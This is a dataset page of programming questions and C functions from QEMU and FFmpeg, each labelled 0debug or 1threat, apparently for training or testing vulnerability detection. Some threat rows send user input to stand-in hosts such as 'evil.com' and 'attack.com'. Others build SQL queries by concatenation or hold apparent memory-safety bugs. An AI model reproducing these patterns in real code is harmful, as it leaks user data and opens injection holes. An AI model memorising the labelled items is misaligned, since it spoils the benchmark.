problem stringlengths 26 131k | labels class label 2
classes |
|---|---|
How do you clear your Visual Studio Code cache on a Mac/Linux Machine? : <p>How do I flush the cache for my Visual Studio Code on my Mac El Capitan OS?</p>
| 0debug |
php 5.4 supports oracle 12 c or not? : Can someone please tell me if php 5.4 supports oracle 12 c or is there any way we can connect to oracle 12 c by using older version of oracle ? | 0debug |
static int build_huff(const uint8_t *src, VLC *vlc)
{
int i;
HuffEntry he[256];
int last;
uint32_t codes[256];
uint8_t bits[256];
uint8_t syms[256];
uint32_t code;
for (i = 0; i < 256; i++) {
he[i].sym = i;
he[i].len = *src++;
}
qsort(he, 256, sizeo... | 1threat |
How to complete a CompletableFuture<Void>? : <p>I want a CompletableFuture that only signals the completion (e.g. I don't have a return value).</p>
<p>I can instantiate the CompletableFuture as:</p>
<pre><code>CompletableFuture<Void> future = new CompletableFuture<> ();
</code></pre>
<p>But what should I... | 0debug |
static void property_get_bool(Object *obj, Visitor *v, void *opaque,
const char *name, Error **errp)
{
BoolProperty *prop = opaque;
bool value;
value = prop->get(obj, errp);
visit_type_bool(v, &value, name, errp);
}
| 1threat |
import re
def extract_max(input):
numbers = re.findall('\d+',input)
numbers = map(int,numbers)
return max(numbers) | 0debug |
void HELPER(divs)(CPUM68KState *env, uint32_t word)
{
int32_t num;
int32_t den;
int32_t quot;
int32_t rem;
num = env->div1;
den = env->div2;
if (den == 0) {
raise_exception(env, EXCP_DIV0);
}
quot = num / den;
rem = num % den;
env->cc_v = (word && quo... | 1threat |
static CharDriverState *qemu_chr_open_tty(QemuOpts *opts)
{
const char *filename = qemu_opt_get(opts, "path");
CharDriverState *chr;
int fd;
TFR(fd = open(filename, O_RDWR | O_NONBLOCK));
if (fd < 0) {
return NULL;
}
tty_serial_init(fd, 115200, 'N', 8, 1);
chr = qemu_... | 1threat |
C# How to sort string of objects by string value : <p>I have list of objects with different values int's, double's, string's.
In this case i want to sort list of objects by "name".
I done it for int's but can't by string.</p>
<p>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,... | 0debug |
replacing capital to small letter regular expression : I want to replace I and A to lower case. how to do it. plese help me.Also please give me solution is capital letter is present in between lower case.
import re
sent = 'hai Iam Ajay born in 1994'
re.sub(r'(\s)([A-Z])'$1\l$2',sent)
| 0debug |
create_iovec(BlockBackend *blk, QEMUIOVector *qiov, char **argv, int nr_iov,
int pattern)
{
size_t *sizes = g_new0(size_t, nr_iov);
size_t count = 0;
void *buf = NULL;
void *p;
int i;
for (i = 0; i < nr_iov; i++) {
char *arg = argv[i];
int64_t len;
... | 1threat |
def check_Type_Of_Triangle(a,b,c):
sqa = pow(a,2)
sqb = pow(b,2)
sqc = pow(c,2)
if (sqa == sqa + sqb or sqb == sqa + sqc or sqc == sqa + sqb):
return ("Right-angled Triangle")
elif (sqa > sqc + sqb or sqb > sqa + sqc or sqc > sqa + sqb):
return ("Obtuse-angled Triangle"... | 0debug |
How to solve this minification error on Gulp? : <p>I'm getting below error running this command</p>
<pre><code>gulp.task('minify', function () {
return gulp
.src('public/app/js/myapp.bundle.js')
.pipe(uglify())
.pipe(gulp.dest('public/app/js/myapp.bundle.min.js'));
});
</code></pre>
<blockquote>... | 0debug |
How to transport information from one form to another using dto, C # windows form? : Good afternoon guys I'm having trouble transporting information from one form to another, is to make a single save, but the information is distributed in 2 forms and I have to do it using dto, I know that for this I have to send the da... | 0debug |
Bootstrap 4, bg-inverse not showing? : <p>Trying to follow the navbar example in Bootstraps documentation, I have a problem where the background colour of the navbar doesn't get loaded.</p>
<pre><code><nav class="navbar navbar-inverse bg-inverse">
<a class="navbar-brand" href="#">Navbar</a>
</... | 0debug |
Fetch API cannot load file:///C:/Users/Jack/Desktop/Books_H/book-site/public/api/books. URL scheme must be "http" or "https" for CORS request : <p>Just started learning node js in my school. They gave us this half-finished task and i need to make the next and prev buttons work. However i get some errors in the console ... | 0debug |
static void stm32f2xx_timer_write(void *opaque, hwaddr offset,
uint64_t val64, unsigned size)
{
STM32F2XXTimerState *s = opaque;
uint32_t value = val64;
int64_t now = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL);
uint32_t timer_val = 0;
DB_PRINT("Write 0x%x, 0x%"HWADDR_PRIx... | 1threat |
Is there any way to auto generate objects from a class? : <p>I have a class with 5 variables, and 3 out of the 5 will be the same for every new object. Is there a way to create, say, 100 objects, from a string file containing 100 items?</p>
| 0debug |
Parse error: syntax error, unexpected 'exit' (T_EXIT) in C:\xampp\htdocs\Chat\Chat\includes\signup.inc.php on line 12 : <p>trying to make a sign up page but when someone signs in an error comes, why? line(s): 12.</p>
<pre><code>if (empty($username) || empty($password) || empty($passwordrepeat)) {
header("Location: ../... | 0debug |
static inline void tb_alloc_page(TranslationBlock *tb,
unsigned int n, tb_page_addr_t page_addr)
{
PageDesc *p;
#ifndef CONFIG_USER_ONLY
bool page_already_protected;
#endif
assert_memory_lock();
tb->page_addr[n] = page_addr;
p = page_find_alloc(page_addr... | 1threat |
window.location.href = 'http://attack.com?user=' + user_input; | 1threat |
static int img_check(int argc, char **argv)
{
int c, ret;
const char *filename, *fmt;
BlockDriverState *bs;
BdrvCheckResult result;
int fix = 0;
int flags = BDRV_O_FLAGS;
fmt = NULL;
for(;;) {
c = getopt(argc, argv, "f:hr:");
if (c == -1) {
break... | 1threat |
how to convert an object into Int64? : I am trying to merge two dataframes. because they are not the same type of data, I try to convert it into one. But I get the following error, can someone help me with this?[enter image description here][1]
[1]: https://i.stack.imgur.com/W1JkV.png | 0debug |
can anyone help me with error due to prompting the user input in python 2? : def perfectNumberCheck(num):
sum=0
for i in range(1,num):
if num%i==0:
sum =sum+i
if sum==num:
print('1')
else:
print('0')
num=int(raw_input('come on dude:'))
perectNumberCheck(num)
I am tr... | 0debug |
$('myTextBox').val(); undefined : <p>Here is my html tag:</p>
<pre><code><input type="number" id="priority" value="50" min="1" max="100">
</code></pre>
<p>My javascript code:</p>
<pre><code>var $value = $('priority');
alert($value.val());
</code></pre>
<p>This alerts undefined and I can't figure out why.</p>
... | 0debug |
Is there a way to put quotes in a cout? : <p>I was trying to make a simple calculator and I would like to display quotes in the instruction when you first run the program. </p>
| 0debug |
Remove underline from HTML : <p>I am looking for how to remove the underline from this bit of HTML </p>
<p>I tried this but have no idea where to place it in this line. (I am not a developer) </p>
<pre><code><a href="%%unsubscribe%%"><span style="color:#15BECE;">Unsubscribe</span></a> from ema... | 0debug |
Set a session var in Rspec Request spec : <p>I am trying to set a session variable in a request spec.</p>
<p>I have tried the following things to do this:</p>
<pre><code>RSpec.describe 'Application Controller' do
context 'updating an application' do
before :each do
@app = create(:application, step: 'inves... | 0debug |
How to use Bluebird in Typescript 2.1+ : <p>(I have read <a href="https://stackoverflow.com/questions/39231151/how-to-use-bluebird-with-current-typescript">this post</a> but it is from August and it does not answer my question for the current typescript version.)</p>
<p>I'm currently using Typescript 1.8 in my project... | 0debug |
void gtk_display_init(DisplayState *ds)
{
GtkDisplayState *s = g_malloc0(sizeof(*s));
gtk_init(NULL, NULL);
ds->opaque = s;
s->ds = ds;
s->dcl.ops = &dcl_ops;
s->window = gtk_window_new(GTK_WINDOW_TOPLEVEL);
#if GTK_CHECK_VERSION(3, 2, 0)
s->vbox = gtk_box_new(GTK_ORIENTATION_... | 1threat |
static int copy_sectors(BlockDriverState *bs, uint64_t start_sect,
uint64_t cluster_offset, int n_start, int n_end)
{
BDRVQcowState *s = bs->opaque;
int n, ret;
n = n_end - n_start;
if (n <= 0)
return 0;
ret = qcow_read(bs, start_sect + n_start, s->cluster_d... | 1threat |
ff_rm_parse_packet (AVFormatContext *s, AVIOContext *pb,
AVStream *st, RMStream *ast, int len, AVPacket *pkt,
int *seq, int flags, int64_t timestamp)
{
RMDemuxContext *rm = s->priv_data;
int ret;
if (st->codec->codec_type == AVMEDIA_TYPE_VIDEO) {
rm->... | 1threat |
Javascript equivalent of C# code : <p>I can't find the JavaScript equivalent of this C# code anywhere.</p>
<pre><code>ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
</code></pre>
<p>I'm trying to force Tls via JavaScript</p>
| 0debug |
static inline void tcg_out_dat_rI(TCGContext *s, int cond, int opc, TCGArg dst,
TCGArg lhs, TCGArg rhs, int rhs_is_const)
{
if (rhs_is_const) {
int rot = encode_imm(rhs);
assert(rot >= 0);
tcg_out_dat_imm(s, cond, opc, dst, lhs, rotl(rhs, rot... | 1threat |
Why is "parameters" is not defined : I am following the tutorial at https://www.dataquest.io/blog/python-api-tutorial/. It is saying that "parameters" is not defined. the URL has params=parameters, I have used both in the coding and still getting error. Not sure how to correct it.
This is the code:
<code>
imp... | 0debug |
static int vmdaudio_decode_frame(AVCodecContext *avctx,
void *data, int *data_size,
AVPacket *avpkt)
{
const uint8_t *buf = avpkt->data;
int buf_size = avpkt->size;
VmdAudioContext *s = avctx->priv_data;
int block_type, silent_chun... | 1threat |
static void gen_arith_imm (CPUState *env, DisasContext *ctx, uint32_t opc,
int rt, int rs, int16_t imm)
{
target_ulong uimm;
const char *opn = "imm arith";
TCGv t0 = tcg_temp_local_new(TCG_TYPE_TL);
if (rt == 0 && opc != OPC_ADDI && opc != OPC_DADDI) {
... | 1threat |
static int check_refblocks(BlockDriverState *bs, BdrvCheckResult *res,
BdrvCheckMode fix, uint16_t **refcount_table,
int64_t *nb_clusters)
{
BDRVQcowState *s = bs->opaque;
int64_t i, size;
int ret;
for(i = 0; i < s->refcount_table_size; i++)... | 1threat |
Select from pandas dataframe using boolean series/array : <p>I have a dataframe:</p>
<pre><code> High Low Close
Date
2009-02-11 30.20 29.41 29.87
2009-02-12 30.28 29.32 30.24
2009-02-13 30.45 29.96 30.10
2009-02-17 29.35 28.74 28.90
2009-02-18 29.35 28.56 28.92... | 0debug |
def sample_nam(sample_names):
sample_names=list(filter(lambda el:el[0].isupper() and el[1:].islower(),sample_names))
return len(''.join(sample_names)) | 0debug |
void ga_command_state_init(GAState *s, GACommandState *cs)
{
if (vss_init(true)) {
ga_command_state_add(cs, NULL, guest_fsfreeze_cleanup);
}
}
| 1threat |
db.execute('SELECT * FROM products WHERE product_id = ' + product_input) | 1threat |
How to prevent msbuild config transforms in particular environments? : <p>I have a azure webjob project that uses config transforms to create dev/test/release configuration. We are using TFS for CI/CD deployment to Azure. I want to have MSBuild apply the transforms for dev so we can debug locally. However, when we are ... | 0debug |
How to zero specific column of 2d array : <p>Lets say I have a specific 2d array of 100x100 like so</p>
<p>I'm implementing an adjacency matrix and thus I want to be able to zero a specific column and line (the same column and line in this case), zeroing lines is pretty straightforward but I'm not really able to under... | 0debug |
How to assign Panels to Buttons in C# : <p>I have 5 panels on a form and i want to set them on buttons so that if a button is clicked a panel set on that button is shown. This should also work on random click.</p>
| 0debug |
How to use font awesome 5 installed via NPM : <p>I am not finding any docs for what to do next, I installed into my project via npm,</p>
<p><code>$ npm install --save @fortawesome/fontawesome-free-webfonts</code></p>
<p>But now what? Can anyone point me to how to actually import or use it now?
Thank you.</p>
| 0debug |
Why is the result 0x18 instead of 0x12? : <p>The code is as follows:</p>
<pre><code>int main() {
// your code goes here
int val = 0x18;
int val1 = val&0xf + ((val>>4)&0xf)*10;
printf("%d %d\n",val1,val1&0x3f);
return 0;
}
</code></pre>
<p>I'm caught in a loop or something I can't figure it out. My ... | 0debug |
I have three grouped sql statements that i want to combine in to one sql. Iam using SQL Server 2012. Here is an example : --ON TIME PMWO's
SELECT LOCATION, COUNT(WONUM) AS OnTimePMWOs
FROM
WORKORDER
WHERE worktype = 'pm' and actfinish<=targcompdate
GROUP BY LOCATION
--PAST DUE PMWO'S
SELECT LOCATION, COU... | 0debug |
ERR_SPDY_PROTOCOL_ERROR Ajax .net web api : <p>Running into a very strange error when trying to execute Ajax calls to a .NET Web Api hosted on IIS on Azure. </p>
<p>I've got my SSL cert from let's encrypt, it's applied to the website properly. When I try to execute an ajax call I get:</p>
<p><em>net::ERR_SPDY_PROTO... | 0debug |
Cake PHP Image cannot be smaller : I am making card design in cakephp,
but when it comes to show longer image than 600px width,
It extended insanely!!!
I am using placeholder or dummyimage but it has no problem.
Why this is happening? What should I do to show smaller images?
html inline width height cons... | 0debug |
AVStream *add_video_stream(AVFormatContext *oc, int codec_id)
{
AVCodec *codec;
AVCodecContext *c;
AVStream *st;
uint8_t *picture_buf;
int size;
st = av_new_stream(oc, 0);
if (!st) {
fprintf(stderr, "Could not alloc stream\n");
exit(1);
}
cod... | 1threat |
static int dxtory_decode_v1_410(AVCodecContext *avctx, AVFrame *pic,
const uint8_t *src, int src_size)
{
int h, w;
uint8_t *Y1, *Y2, *Y3, *Y4, *U, *V;
int ret;
if (src_size < avctx->width * avctx->height * 9LL / 8) {
av_log(avctx, AV_LOG_ERROR, "packet to... | 1threat |
How to detect no touches in screen JavaScript? : <p>I have simple HTML page is showed on mobile devices. How to detect no changes/touches and execute function after time (leave user from page)?</p>
| 0debug |
START_TEST(simple_string)
{
int i;
struct {
const char *encoded;
const char *decoded;
} test_cases[] = {
{ "\"hello world\"", "hello world" },
{ "\"the quick brown fox jumped over the fence\"",
"the quick brown fox jumped over the fence" },
{}
... | 1threat |
static void do_video_out(AVFormatContext *s,
OutputStream *ost,
AVFrame *in_picture,
float quality)
{
int ret, format_video_sync;
AVPacket pkt;
AVCodecContext *enc = ost->st->codec;
int nb_frames;
double sync_ipts, d... | 1threat |
Django admin custom ArrayField widget : <p>The current admin widget for ArrayField is one field, with comma as delimiter, like this (text list):</p>
<p><a href="https://i.stack.imgur.com/gSWkC.png" rel="noreferrer"><img src="https://i.stack.imgur.com/gSWkC.png" alt="Current admin ArrayField widget"></a></p>
<p>This i... | 0debug |
void mpv_decode_mb_internal(MpegEncContext *s, int16_t block[12][64],
int is_mpeg12)
{
const int mb_xy = s->mb_y * s->mb_stride + s->mb_x;
#if FF_API_XVMC
FF_DISABLE_DEPRECATION_WARNINGS
if(CONFIG_MPEG_XVMC_DECODER && s->avctx->xvmc_acceleration){
ff_xvmc_decode_mb(s... | 1threat |
Button won't stay OFF : <p>I have this set up so when the hint button is “ON “the target are will highlight when you start to drag the item. This works fine. But when I switch the button to “OFF” as soon as I start to drag an item the button returns to the “ON” position and highlights the target area. How can the butto... | 0debug |
alert('Hello ' + user_input); | 1threat |
document.location = 'http://evil.com?username=' + user_input; | 1threat |
static int default_fdset_dup_fd_add(int64_t fdset_id, int dup_fd)
{
return -1;
}
| 1threat |
Exporting a Powershell Script to CSV : I found a PowerShell script that looks to be just what I need, but I am having trouble pipeing it to a CSV. I think it may be the Foreach portion that is giving the trouble, was wondering if anyone can pinpoint the cause.
$Groups = Get-ADGroup -Properties * -Filter * -SearchBa... | 0debug |
unserialize(): Error at offset 0 of 40 bytes Error : <p>I Want to run my application in localhost with <code>php artisan serve</code> but I get this Error <code>unserialize(): Error at offset 0 of 40 bytes</code> where is my problem?</p>
| 0debug |
Can I support all ES5, ES6, ES7 features in reactjs project? : Are there any ways to config a reactjs project to support all ES5, ES6, ES7 features?<br>
I mean that I can write all the ES5, ES6, ES7 syntaxes. <br>
I am using babel and webpack.
Thank you. | 0debug |
static int vhost_user_start(VhostUserState *s)
{
VhostNetOptions options;
if (vhost_user_running(s)) {
return 0;
}
options.backend_type = VHOST_BACKEND_TYPE_USER;
options.net_backend = &s->nc;
options.opaque = s->chr;
options.force = true;
s->vhost_net = vhost_net... | 1threat |
What is JDeveloper? How it is different from Eclipse? Where should I learn about it? : <p>I have heard that J Developer is an IDE but what is its advantage over Eclipse? Why it is preferred?</p>
<p>I recently joined an account where they were using JDeveloper instead of Eclipse as an IDE. Also, I am not finding some g... | 0debug |
Android studio AlertDialog ProgressBar lock : <p>I need to lock my AlertDialog. Now, when my alertDialog is enable and when i click on the screen, my alertdialog closed. I need to wait the end of the progress bar to close my alertDialog. How i can do this? Thank</p>
| 0debug |
Create a summary table from my data.frame : <p>I have the following data.frame, these are terror events happened in countries and the there can be 200 rows just for one country:</p>
<pre><code>Classes ‘data.table’ and 'data.frame': 80999 obs. of 3 variables:
$ country_txt.factor: Factor w/ 166 levels "Afghanistan",... | 0debug |
light wont turn on using localtime [ARDUINO] :
#include <stdio.h>
#include <time.h>
time_t now;
struct tm *now_tm;
int h,m,s;
void setup(){
pinMode(D6,OUTPUT);
}
void loop ()
{
now = time(NULL);
now_tm = localtime(&now);
h = ... | 0debug |
Create a link based on table date on another website : <p>I am trying to think about how I would go about creating a link to something based on a data in another table on another website.</p>
<p>I have the following table on the other website:</p>
<p><a href="https://i.imgur.com/Hlemt1y.jpg" rel="nofollow noreferrer"... | 0debug |
static XHCIEPContext *xhci_alloc_epctx(XHCIState *xhci,
unsigned int slotid,
unsigned int epid)
{
XHCIEPContext *epctx;
int i;
epctx = g_new0(XHCIEPContext, 1);
epctx->xhci = xhci;
epctx->slotid = slotid;
ep... | 1threat |
void hmp_hostfwd_add(Monitor *mon, const QDict *qdict)
{
const char *redir_str;
SlirpState *s;
const char *arg1 = qdict_get_str(qdict, "arg1");
const char *arg2 = qdict_get_try_str(qdict, "arg2");
const char *arg3 = qdict_get_try_str(qdict, "arg3");
if (arg2) {
s = slirp_lookup... | 1threat |
bool sysbus_has_irq(SysBusDevice *dev, int n)
{
char *prop = g_strdup_printf("%s[%d]", SYSBUS_DEVICE_GPIO_IRQ, n);
ObjectProperty *r;
r = object_property_find(OBJECT(dev), prop, NULL);
return (r != NULL);
} | 1threat |
is it possibile to open iTerm in current Finder position : <p>Sometimes it could be very useful to open new iTerm window. I've seen this feature in Gnome window manager. It is possible to get same feature on MaxOsX? Is there a software to do that?</p>
| 0debug |
void qmp_guest_set_user_password(const char *username,
const char *password,
bool crypted,
Error **errp)
{
NET_API_STATUS nas;
char *rawpasswddata = NULL;
size_t rawpasswdlen;
wchar_t *user, *wpass... | 1threat |
def Convert(string):
li = list(string.split(" "))
return li | 0debug |
LINQ NAMESPACE AND METHOD ANY() : So I am using "using System.Linq;" and method "Any()" but for some reason it's shows me an error "arraylist does not contain a definition for Any...". I am trying to check if an array contains any item from another array. Dont know why but cant post my code. Hope you know whats the pro... | 0debug |
static void virtio_gpu_handle_ctrl(VirtIODevice *vdev, VirtQueue *vq)
{
VirtIOGPU *g = VIRTIO_GPU(vdev);
struct virtio_gpu_ctrl_command *cmd;
if (!virtio_queue_ready(vq)) {
return;
}
#ifdef CONFIG_VIRGL
if (!g->renderer_inited && g->use_virgl_renderer) {
virtio_gpu_virgl... | 1threat |
Printing the contents of a List<Object>, prints the last object only over and over? : <p>I am working on a CPU scheduler for an operating systems course.</p>
<p>There are no compilation errors or warnings, but my output file is incorrect.</p>
<p>What is happening is I am using PrintWriter class to write line by line ... | 0debug |
QmpInputVisitor *qmp_input_visitor_new(QObject *obj, bool strict)
{
QmpInputVisitor *v;
v = g_malloc0(sizeof(*v));
v->visitor.type = VISITOR_INPUT;
v->visitor.start_struct = qmp_input_start_struct;
v->visitor.end_struct = qmp_input_end_struct;
v->visitor.start_list = qmp_input_start_l... | 1threat |
difference between angular js and java script : <p><strong>Please Reply</strong>
- what is the role of angular js?
- what is the role of java script?
- when use angularjs
- when use java script
- which one is powerfull</p>
| 0debug |
Jest Test "Compared values have no visual difference." : <p>I'm doing a comparison between two objects that are quite complex and attempting to use the .toEqual method in expect.</p>
<p>Here is my test:</p>
<pre><code>it('check if stepGroups data in controlData matches data in liveData', () => {
var control... | 0debug |
Can't change with android xml file : I want to build an xml file like this.[enter image description here][1]
But I can't.Can someone tell me why this is happen?how to made center of edit box hint?
Specially edit box [enter image description here][2]
[1]: http://i.stack.imgur.com/RBAEn.jpg
[2]: http://i.... | 0debug |
No assembly found containing an OwinStartupAttribute Error : <p>This error </p>
<p>The following errors occurred while attempting to load the app.
- No assembly found containing an OwinStartupAttribute.
- The given type or method 'false' was not found. Try specifying the Assembly.
To disable OWIN startup discovery, ad... | 0debug |
Why socket is not execute successfully? : public boolean connection(View view)
{
boolean x=true;
try
{
serverSocket= new ServerSocket(9999);
socket = serverSocket.accept();
Toast.makeText(creator.this,"ServerStarted,"... | 0debug |
Property 'matchAll' does not exist on type 'string' : <p>I want to apply Reg Expression on string. In order to get all groups result i am using matchAll method. Here is my code</p>
<pre><code>const regexp = RegExp('foo*','g');
const str = "table football, foosball";
let matches = str.matchAll(regexp);
for (const mat... | 0debug |
static int config_props(AVFilterLink *inlink)
{
FadeContext *s = inlink->dst->priv;
const AVPixFmtDescriptor *pixdesc = av_pix_fmt_desc_get(inlink->format);
s->hsub = pixdesc->log2_chroma_w;
s->vsub = pixdesc->log2_chroma_h;
s->bpp = av_get_bits_per_pixel(pixdesc) >> 3;
s->alpha &= !!... | 1threat |
static void pl011_write(void *opaque, hwaddr offset,
uint64_t value, unsigned size)
{
PL011State *s = (PL011State *)opaque;
unsigned char ch;
switch (offset >> 2) {
case 0:
ch = value;
if (s->chr)
qemu_chr_fe_write(s->chr, &ch, 1)... | 1threat |
How to write a python dictionary to a json file in the following format? : <p>so I have a python dictionary in the form of {'key1':[value1, value2]},
I hope to write it to a json file in the format of:</p>
<pre><code>{
"key1": [value1, value2],
"key2": [value, value],
....
}
</code></pre>
<p>I am currently u... | 0debug |
static void opt_b_frames(const char *arg)
{
b_frames = atoi(arg);
if (b_frames > FF_MAX_B_FRAMES) {
fprintf(stderr, "\nCannot have more than %d B frames, increase FF_MAX_B_FRAMES.\n", FF_MAX_B_FRAMES);
exit(1);
} else if (b_frames < 1) {
fprintf(stderr, "\nNumber of B frames m... | 1threat |
static BlockDriverAIOCB *curl_aio_readv(BlockDriverState *bs,
int64_t sector_num, QEMUIOVector *qiov, int nb_sectors,
BlockDriverCompletionFunc *cb, void *opaque)
{
BDRVCURLState *s = bs->opaque;
CURLAIOCB *acb;
size_t start = sector_num * SECTOR_SIZE;
size_t end;
CURLState *... | 1threat |
how to solve an array using search algorithm of an n elements? : <p>Suppose you have an array of 50 elements and you want to search a target item "x"</p>
<p>1.write a search algorithm if each item are sorted using pseudo code </p>
<p>2.write a search algorithm if each item are not sorted using pseudo code </p>
| 0debug |
long do_rt_sigreturn(CPUS390XState *env)
{
rt_sigframe *frame;
abi_ulong frame_addr = env->regs[15];
qemu_log("%s: frame_addr 0x%llx\n", __FUNCTION__,
(unsigned long long)frame_addr);
sigset_t set;
if (!lock_user_struct(VERIFY_READ, frame, frame_addr, 1)) {
goto badfra... | 1threat |
Kotlin: Difference between constant in companion object and top level : <p>The general pattern to create constants in Kotlin seems to be using companion objects. However, I can also define a constant at the file level. Why is that not so popular? Am I missing something?</p>
<p>With companion object:</p>
<pre><code>cl... | 0debug |
GET request to IIS returns Microsoft-HttpApi/2.0 : <p>I've got 6 identical machines running IIS and Apache. Today one of them decided to just stop serving requests. I can access all of the webapps when I try from localhost/resource but when I try from url/resource I get a 404. I did a Get request against the machine th... | 0debug |
static int ac3_parse_audio_block(AC3DecodeContext * ctx, int index)
{
ac3_audio_block *ab = &ctx->audio_block;
int nfchans = ctx->bsi.nfchans;
int acmod = ctx->bsi.acmod;
int i, bnd, rbnd, grp, seg;
GetBitContext *gb = &ctx->gb;
uint32_t *flags = &ab->flags;
int bit_alloc_flags = 0;
... | 1threat |
When i use this on my site it crashes it, how do i change it : I want to use a css rollover on a site but when i try to implement the css it crashes the site, i believe it's something to do with the <div> , what can i change it to, to stop crashing
jsfiddle link : `http://jsfiddle. net/ANKwQ/5315/`
All help is ap... | 0debug |
static void process_frame(AVFilterLink *inlink, AVFilterBufferRef *buf)
{
AVFilterContext *ctx = inlink->dst;
ConcatContext *cat = ctx->priv;
unsigned in_no = FF_INLINK_IDX(inlink);
if (in_no < cat->cur_idx) {
av_log(ctx, AV_LOG_ERROR, "Frame after EOF on input %s\n",
... | 1threat |
c# Regex catch string between two string : <p>i've to catch a value beetween angular brackets, I parse an'html page into a string (i can't use external library, so i have to use that html like a string). I have two div's content to catch, i know the id they have and i'm trying to catch the content by using regex, but i... | 0debug |
void *paio_init(void)
{
struct sigaction act;
PosixAioState *s;
int fds[2];
int ret;
if (posix_aio_state)
return posix_aio_state;
s = qemu_malloc(sizeof(PosixAioState));
sigfillset(&act.sa_mask);
act.sa_flags = 0;
act.sa_handler = aio_signal_handler;
si... | 1threat |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.